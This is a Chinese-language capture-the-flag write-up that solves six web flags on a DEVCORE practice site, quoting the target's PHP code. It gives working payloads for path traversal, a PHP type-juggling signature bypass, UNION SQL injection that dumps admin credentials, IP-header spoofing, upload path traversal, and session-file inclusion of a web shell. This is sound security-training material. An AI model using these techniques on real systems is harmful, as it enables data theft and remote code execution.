Flag 1

在首頁可以看到一張圖片,URL長成這樣。

pic

http://web.ctf.devcore.tw/image.php?id=aHBfbTI4M2Zkdy5qcGc=

其中 aHBfbTI4M2Zkdy5qcGc= 拿去 base64 deocde 會變成 hp_m283fdw.jpg ,發現是一個檔名, 這裡可以嘗試 path traversal。

嘗試讀取 ../../../../etc/passwd 成功,繼續嘗試讀取 source code。

etc_passwd

先讀取 mount device ../../../../proc/mounts,嘗試找出 web root。

proc_mounts

/dev/sda /usr/share/nginx/frontend ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/images ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/b8ck3nd ext4 ro,relatime,errors=remount-ro,data=ordered 0 0

接著讀取 /usr/share/nginx/frontend/index.php 可以發現首頁的 source code。

frontend_index

裡面有引入 include.php,讀取 include.php 後可以在裡面發現第一個 flag。

frontend_include

Flag 2

order.php 中,可以看到 sig 沒有做型別的驗證,可以利用 PHP 的弱型別繞過程式中的 sig 驗證。

# order.php
require_once('include.php');

$id = get_get_param('id', '');
$sig = get_get_param('sig', '');

if (empty($id) || empty($sig)) {
    header('Location: /');
    exit();
}

$id = intval($id);
$pdo = get_pdo();
$res = $pdo->query('SELECT * FROM orders WHERE id = '.$id, PDO::FETCH_ASSOC);
$order = $res->fetch();

if (!$order) {
    $_SESSION['error_msg'] = '找不到此訂單';
    require_once('error.php');
}

$sig_hash = get_sig_hash($sig);
if ($sig_hash && $sig_hash != $order['sig_hash']) {
    $_SESSION['error_msg'] = '訂單網址參數錯誤';
    require_once('error.php');
}

switch ($order['status']) {
    case ORDER_STATUS_PICKING:
        $step = 1;
        break;
    case ORDER_STATUS_PACKING:
        $step = 2;
        break;
    case ORDER_STATUS_SENDING:
        $step = 3;
        break;
    case ORDER_STATUS_DELIVERING:
        $step = 4;
        break;
    case ORDER_STATUS_ARRIVED:
        $step = 5;
        break;
    case ORDER_STATUS_FINISH:
        $step = 6;
        break;
}
# include.php
function get_sig_hash($data) {
    $pdo = get_pdo();
    $res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_secret' LIMIT 1", PDO::FETCH_ASSOC);
    $row = $res->fetch();
    if (!$row) {
        $secret = random_str(64);
        $pdo->exec("INSERT INTO options VALUES ('sig_secret', '".$secret."'), ('sig_algorithm', 'sha256')");
    } else {
        $secret = $row['value'];
    }
    $res = $pdo->query("SELECT `value` FROM options WHERE `key` = 'sig_algorithm' LIMIT 1", PDO::FETCH_ASSOC);
    $algo = $res->fetch()['value'];
    return hash_hmac($algo, $data, $secret);
}

如果將 sig 以陣列的方式傳入 if ($sig_hash && $sig_hash != $order['sig_hash']) 結果會變成 if (NULL && NULL != "abc") 恆為 False。

所以只要將 sig= 改為 sig[]= 就可以任意讀取訂單內容。

在網址輸入 http://web.ctf.devcore.tw/order.php?id=1&sig[]= 即可獲得第二個 flag。

sig

Flag 3

print.php 可以發現裡面有一個可以 SQL injection 的注入點。

<?php

require_once('include.php');
require_once('third_party/vendor/autoload.php');

//require_once('rate_limit.php');
// rate limit is not working, use random sleep as a workaround
sleep(random_int(0, 2));

$is_from_print = true;

$id = get_get_param('id', '');
$sig = get_get_param('sig', '');
$sig_hash = get_sig_hash($sig);
$pdo = get_pdo();
$res = $pdo->query("
    SELECT *
    FROM orders 
    WHERE sig_hash = '$sig_hash' AND id = $id
    LIMIT 1
", PDO::FETCH_ASSOC);

try {
    $order = $res->fetch();
} catch (Error $e) {
    $order = [];
}

ob_start();
include('pdf.php');
$html = ob_get_clean();

$mpdf = new \Mpdf\Mpdf([
    'tempDir' => '/tmp',
    'autoScriptToLang' => true,
    'autoLangToFont' => true,
    'mode' => 'utf-8'
]);
$mpdf->SetTitle('收據明細');
$mpdf->SetSubject('收據明細');
$mpdf->SetAuthor(random_str((random_int(1, 256))));
$mpdf->SetCreator(random_str((random_int(1, 256))));
$mpdf->WriteHTML($html);
$mpdf->Output();

先在 id 中注入 -1 or 1=1 -- 測試弱點是否成立。

可以成功找到第一筆訂單。

sqli_1

並使用 UNION 看看有哪幾個欄位可以被利用。

插入 -1 UNION SELECT 1,2,3,4,5,6,7,8,9 --

sqli_2

而在 /usr/share/nginx/b8ck3nd/login.php 裡面可以找到儲存後台帳號密碼的資料表名稱 backend_users

並利用 SQL injection 找出 backend_users 有哪些欄位。

插入 -1 UNION SELECT GROUP_CONCAT(column_name SEPARATOR ','),2,3,4,5,6,7,8,9 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_name='backend_users' -- 後得到 id,username,password,description

sqli_3

得到欄位後,即可取得後台帳號密碼。 -1 UNION SELECT username,password,description,4,5,6,7,8,9 FROM backend_users --

並可以在 Description 中取得第三個 flag。

sqli_4

Flag 4

在嘗試進入後台頁面 http://web.ctf.devcore.tw/b8ck3nd/ 時,會被 redirect 回首頁。

redirect

利用 path traversal 查看 /usr/share/nginx/b8ck3nd/include.php,發現後台的頁面會驗證來源 IP,若來源 IP 不是 127.0.0.1172.18.11.89,則會 redirect 回首頁。

<?php


require_once('../frontend/include.php');

session_start_once();

if (!in_array(get_client_ip(), ['127.0.0.1', '172.18.11.89'], true)) {
    header('Location: /');
    exit();
}

if (!isset($_SESSION['user_id'])) {
    if (!endsWith($_SERVER['SCRIPT_FILENAME'], 'login.php')) {
        header('Location: /b8ck3nd/login.php');
        exit();
    }
}
# ../frontend/include.php
function get_client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

但可以發現驗證 IP 來源是參考 HTTP header 的內容,只要在 header 中加入 CLIENT-IPX-FORWARDED-FORREMOTE-ADDR 即可繞過其限制。詳細可以參考 如何正確的取得使用者 IP? | DEVCORE 戴夫寇爾

client_ip

並且可以使用剛剛 SQL injection 取得的帳號密碼 admin/u=479_p5jV:Fsq(2 進行登入。

登入後即可取得第四個 flag。

flag_4

Flag 5

在上傳的功能中可以發現如果在 POST 封包中,若有參數 renamefolder 即可控制上傳檔案的檔案名稱以及路徑,並且未有任何限制。

<?php

require_once('include.php');

if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    header('Content-Type: text/plain');
    echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkZha2UgdG9rZW4gZm9yIGNrZWRpdG9yIiwiaWF0IjoxNTE2MjM5MDIyfQ.6nNLxp10uP65V_NFrs5IWuX2tkk6vGQ-oiwYhHNdHgk';
    exit();
}

if (isset($_FILES['file']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
    header('Content-Type: application/json; charset=utf-8');
    $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
    $filename = random_str(32).'.'.$ext;
    if (isset($_POST['rename'])) {
        $filename = $_POST['rename'];
    }
    if (isset($_POST['folder'])) {
        $folder = $_POST['folder'];
        if (!file_exists(IMAGE_PATH.$folder)) {
            mkdir(IMAGE_PATH.$folder);
        }
        $filename = $folder.'/'.$filename;
    }
    $filepath = IMAGE_PATH . $filename;
    move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
    system("rsync_wrap ".escapeshellarg($filepath));
    $id = base64_urlsafe_encode($filename);
    echo json_encode([
        'default' => '/image.php?id='.$id
    ]);
} else {
    http_response_code(400);
}

只要在 folder 中含有 /../ 即可出現第五個 flag。

flag_5

Flag 6

最後一個 flag 要想辦法上傳 shell,但因 nginx 可以瀏覽的路徑都是 mount 成 ro 無法直接上傳 web shell。

# /proc/mounts
/dev/sda /usr/share/nginx/frontend ext4 ro,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/images ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
/dev/sda /usr/share/nginx/b8ck3nd ext4 ro,relatime,errors=remount-ro,data=ordered 0 0

可以在 /usr/share/nginx/frontend/include.php 裡面發現一段語系切換的功能。

# frontend/include.php

if (!isset($_SESSION['lang'])) {
    $_SESSION['lang'] = DEFAULT_LANGUAGE;
}

require_once('langs/' . $_SESSION['lang'] . '.php');

這裡會將 session 中的 lang 值當成語系檔案引入進來,且並未做任何驗證,只要在 lang 中填入任意路徑即可達成 local file inclusion 弱點,執行 web shell。

先在 /usr/share/nginx/images/ 中上傳我們要被引入的 web shell。

web_shell

PHP 的 session 值會存在於 /tmp/sess_<session_id>。 所以只要上傳 lang|s:18:"../../images/shell";/tmp/sess_<session_id>,就可以將 session 中的 lang 值更改成 ../../images/shell,進而執行 web shell。

sess

get_shell

根目錄裡有一個 /readflag 執行後即可得到第六個 flag。

readflag

flag_6